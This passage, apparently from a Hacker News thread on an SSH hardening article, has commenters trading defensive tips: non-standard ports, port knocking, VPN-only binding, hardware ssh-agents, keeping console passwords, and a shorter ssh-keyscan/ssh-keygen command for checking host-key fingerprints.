Also, move sshd to a random & rarely-used TCP port. Won't help much against a skilled & determined targeted attack, however the "security through obscurity" is not entirely worthless. Using something other than 22 is quite effective at avoiding spray-n-pray scans and exploits. For extra credit, set up port knocking.

hackercomplex 11y ago
Choosing to only bind SSH to a VPN interface is another option. If you can utilize a VPN that incorporates 2FA then that's even better. Projects such as zerotier are going a long way towards making this kind of thing easier to setup.
- eeZi 11y ago
  Then the VPN breaks, and you're out of luck.

sapereaude 11y ago

Great post! BTW, you can also now use hardware devices (like TREZOR and KeepKey) to perform "ssh-agent" functionality in hardware, with minimal setup work. Blog post: https://medium.com/@satoshilabs/trezor-firmware-1-3-4-enables-ssh-login-86a622d7e609 https://medium.com/@satoshilabs/trezor-firmware-1-3-4-enable... Source code: https://github.com/romanz/trezor-agent https://github.com/romanz/trezor-agent (the README has several demo screencasts).

gdamjan1 11y ago

It would be a cool to have a `forward agent connection once` option to ssh. when I know I'd have to `git pull` once on the server but don't need the agent forwarding after that.

eeZi 11y ago

Good advice, except the "remove all system passwords" part. Do not do this. It's a really bad idea. There are occasions where you do need to authenticate using a password, most importantly on the local console - what if your server lost network access? And that sudo workaround is bad since it requires agent key forwarding, which you shouldn't use for the reasons the author himself noted a few paragraphs up.

balgan 11y ago

And yet we still see things like https://blog.binaryedge.io/2015/11/10/ssh/ https://blog.binaryedge.io/2015/11/10/ssh/

tbe 11y ago

> f=$(mktemp) && ssh-keyscan korell > $f && ssh-keygen -l -f $f && rm $f > Unfortunately ssh-keygen does not support input from stdin, so this example is slightly more complicated than it should. Any shell that supports process substitution can fix this for you with something like; ssh-keygen -l -f <(ssh-keyscan korell)